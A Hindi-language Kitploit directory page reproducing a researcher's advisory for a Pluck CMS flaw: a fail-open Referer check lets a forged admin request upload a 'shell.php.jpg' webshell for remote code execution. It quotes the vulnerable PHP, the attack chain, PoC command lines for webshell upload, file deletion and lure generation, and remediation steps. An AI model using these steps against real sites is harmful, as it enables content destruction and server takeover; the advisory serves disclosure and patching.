Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-70376 — Pluck CMS CSRF हेतु एडवाइज़री और Python PoC: fail-open Referer जाँच तथा double-extension अपलोड webshell परिनियोजन और दूरस्थ कोड निष्पादन सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/ilhomjonr/cve-2026-70376
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Pluck CMS CSRF हेतु एडवाइज़री और Python PoC: fail-open Referer जाँच तथा double-extension अपलोड webshell परिनियोजन और दूरस्थ कोड निष्पादन सक्षम करता है।

रिपॉजिटरी देखें
328 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-70376 — Pluck CMS साइट-व्यापी CSRF → RCE

फेल-ओपन Referer जाँच + कोई CSRF टोकन नहीं + डबल-एक्सटेंशन अपलोड

एक मात्र एडमिन पेज-विज़िट कंटेंट हटाता है, पेज इंजेक्ट करता है, और वेबशेल गिरा देता है

CVE CVSS 3.1 CWE CWE

Product Status Researcher

एक नज़र में · · · · · ·

सारांश
मूल कारण
हमला श्रृंखला
शोषण
निवारण
समयरेखा

📋 एक नज़र में

CVE आईडीCVE-2026-70376
ट्रैकिंग आईडीPT-2026-68036
उत्पादpluck-cms/pluck — Pluck CMS (फ्लैट-फाइल PHP)
प्रभावित4.7.x से 4.7.21-dev / वर्तमान master
दुर्बलताCWE-352 (CSRF) · CWE-434 (अप्रतिबंधित अपलोड, प्रवर्धक)
CVSS v3.18.0 — उच्च · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
वेक्टरनेटवर्क · कोई विशेषाधिकार नहीं · एक एडमिन पेज-विज़िट (UI:R)
प्रभावकंटेंट विनाश/DoS, संग्रहीत-कंटेंट इंजेक्शन, Apache/mod_php पर RCE
पेश किया गयाकमिट f79f916 (दिस॰ 2019) — तब से कमजोर लॉजिक मौजूद है
शोधकर्ताIlhomjon Rustamov (@IlhomjonR)

🔎 सारांश

Pluck एडमिन पैनल में कोडबेस में कहीं भी प्रति-अनुरोध CSRF टोकन नहीं हैं। हर राज्य-परिवर्तनकारी एडमिन क्रिया एक ही फ़ंक्शन requestedByTheSameDomain() द्वारा नियंत्रित होती है, जिसकी एकमात्र सुरक्षा एक Referer-होस्ट तुलना है — और वह जाँच फेल-ओपन होती है: जब अनुरोध में बिल्कुल भी Referer हेडर नहीं होता, तो फ़ंक्शन true लौटाता है और क्रिया की अनुमति दे दी जाती है।

चूँकि एक हमलावर पेज पूरी तरह नियंत्रित करता है कि Referer भेजा जाए या नहीं (<meta name="referrer" content="no-referrer">), कोई भी लॉग-इन एडमिन जो किसी दुर्भावनापूर्ण पेज पर जाता है, उसे क्रॉस-साइट विशेषाधिकार-प्राप्त क्रियाएँ करने के लिए मजबूर किया जा सकता है। कई विनाशकारी क्रियाएँ GET पर चलती हैं, और Pluck PHPSESSID पर कोई SameSite एट्रिब्यूट सेट नहीं करता (ब्राउज़र SameSite=Lax लागू करते हैं, जो टॉप-लेवल GET नेविगेशन पर फिर भी साथ जाता है), इसलिए वे डिफ़ॉल्ट ब्राउज़र सेटिंग्स में क्रॉस-साइट पहुँच योग्य हैं।

एक द्वितीयक अपलोड-फ़िल्टर कमज़ोरी उसी CSRF को shell.php.jpg डबल-एक्सटेंशन फ़ाइल लगाने देती है — जिससे CSRF Apache/mod_php होस्ट पर ड्राइव-बाय RCE में बदल जाता है।


🧬 मूल कारण

1. फेल-ओपन Referer जाँच — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

एक विदेशी Referer वाला क्रॉस-साइट अनुरोध सही ढंग से अस्वीकार कर दिया जाता है (else शाखा), जो सुरक्षा का झूठा एहसास पैदा करता है — लेकिन हमलावर बस Referer को दबा देता है, फेल-ओपन शाखा को हिट करता है, और अनुरोध की अनुमति दे दी जाती है। इस जाँच के पीछे कोई टोकन परत नहीं है।

यह गेट admin.php में एक बार लागू होता है और पूरे एक्शन स्विच के लिए भरोसा किया जाता है:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. सेशन कुकी पर कोई SameSite नहीं (प्रवर्धक)

Pluck कभी भी session_set_cookie_params() को कॉल नहीं करता, इसलिए PHPSESSID खाली डिफ़ॉल्ट इनहेरिट करता है → ब्राउज़र SameSite=Lax लागू करते हैं, जो टॉप-लेवल GET नेविगेशन पर फिर भी साथ जाता है। इसलिए GET-एक्सपोज़्ड क्रियाएँ (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) एक ही पेज विज़िट से जाली बनाई जा सकती हैं।

3. डबल-एक्सटेंशन अपलोड — data/inc/images.php (RCE प्रवर्धक)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

दोनों जाँचें तुच्छ रूप से बायपास की जा सकती हैं:

  • MIME प्रकार क्लाइंट से आता है ($_FILES[...]['type']) → image/jpeg सेट करें;
  • फ़ाइलनाम के केवल अंतिम 4 अक्षर सत्यापित होते हैं → shell.php.jpg .jpg में समाप्त होता है और पास हो जाता है।

फ़ाइल images/shell.php.jpg पर लिखी जाती है; मल्टी-एक्सटेंशन हैंडलिंग वाले Apache/mod_php होस्ट पर यह PHP के रूप में निष्पादित होती है।


⛓️ हमला श्रृंखला

एक प्रमाणित एडमिन पेज-विज़िट — कोई क्लिक नहीं।

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

जाली बनाने योग्य क्रियाएँ शामिल हैं:

क्रियाविधिप्रभाव
admin.php?action=deletefile&var1=<f>GETकिसी भी अपलोड की गई फ़ाइल को हटाएँ
admin.php?action=deletepage&...GETसाइट पेज हटाएँ (DoS)
admin.php?action=module_delete&...GETमॉड्यूल हटाएँ
admin.php?action=logoutGETएडमिन को लॉग आउट करें
admin.php?action=editpagePOSTसंग्रहीत पेज कंटेंट इंजेक्ट करें
admin.php?action=images (अपलोड)POSTshell.php.jpg लगाएँ → RCE

💥 शोषण

एक कार्यशील PoC टूलकिट exploit/ में मौजूद है:

  • pluck_csrf_rce.py — फेल-ओपन लॉजिक साबित करें, CSRF-अपलोड के ज़रिए वेबशेल डालें और कमांड चलाएँ, CSRF से फ़ाइलें हटाएँ, या एक लालच पेज जनरेट करें।
  • csrf_poc.html — पीड़ित एडमिन को दिया जाने वाला स्टैंडअलोन ड्राइव-बाय पेज।
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Python अनुरोध जानबूझकर कोई Referer नहीं भेजते हैं, जो no-referrer नीति के तहत पीड़ित ब्राउज़र का सटीक पुनरुत्पादन करता है। HTTP-परत विषमता जो लॉजिक की पुष्टि करती है:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ .php.jpg → RCE चरण के लिए ऐसे Apache/mod_php होस्ट की आवश्यकता होती है जो मल्टी-एक्सटेंशन फ़ाइलों को PHP के माध्यम से चलाता है। जहाँ यह कॉन्फ़िगर नहीं है, वहाँ CSRF अपलोड फिर भी सफल होता है और विनाशकारी delete/deletepage प्रिमिटिव प्रभावित नहीं होते — CSRF मुख्य बग है; RCE प्रवर्धक है।


🛠️ निवारण

  1. एक वास्तविक CSRF टोकन जोड़ें — हर एडमिन फ़ॉर्म में और हर राज्य-परिवर्तनकारी लिंक पर एक प्रति-सेशन रैंडम नॉन्स, जिसे सर्वर-साइड पर कॉन्स्टेंट-टाइम तुलना के साथ सत्यापित किया जाए। यही वास्तविक सुधार है; Referer जाँच इसका विकल्प नहीं है।
  2. फेल-क्लोज़ करें — यदि ओरिजिन सत्यापन को डिफेंस-इन-डेप्थ के रूप में रखा जाता है, तो अनुपस्थित Referer/Origin को अविश्वसनीय मानें। Origin हेडर को प्राथमिकता दें और जब वह अनुपस्थित या बेमेल हो तो अस्वीकार करें।
  3. GET पर कभी भी स्टेट न बदलें — deletefile, deletepage, logout आदि को POST में ले जाएँ ताकि SameSite=Lax बेसलाइन सुरक्षा प्रदान करे।
  4. सेशन कुकी को सख्त करें — session_set_cookie_params() के माध्यम से SameSite=Strict (या Lax), HttpOnly, और Secure सेट करें।
  5. अपलोड फ़िल्टर ठीक करें — अंतिम सहेजे गए फ़ाइलनाम को सटीक एक्सटेंशन की अनुमति-सूची के विरुद्ध सत्यापित करें, वास्तविक इमेज कंटेंट की जाँच करें, और क्लाइंट-आपूर्ति MIME प्रकार पर कभी भरोसा न करें।

🕒 समयरेखा

तिथिघटना
2019-12कमजोर requestedByTheSameDomain() लॉजिक पेश किया गया (f79f916)
2026-07-08सोर्स-कोड ऑडिट के माध्यम से खोजा गया; एंड-टू-एंड PoC सत्यापित
2026-08-10एडवाइज़री तैयार (PT-2026-68036)
2026-08-12CVE-2026-70376 निर्धारित; एडवाइज़री + PoC प्रकाशित

📚 संदर्भ

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: क्रॉस-साइट रिक्वेस्ट फोर्जरी — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ अस्वीकरण

यह सामग्री शैक्षिक और सुरक्षात्मक उद्देश्यों के लिए तथा केवल अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित की गई है। इसका उपयोग ऐसी प्रणालियों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपको स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।

खोजा और दस्तावेजित: @IlhomjonR · CVE-2026-70376 · PT-2026-68036

टूल डाउनलोड करें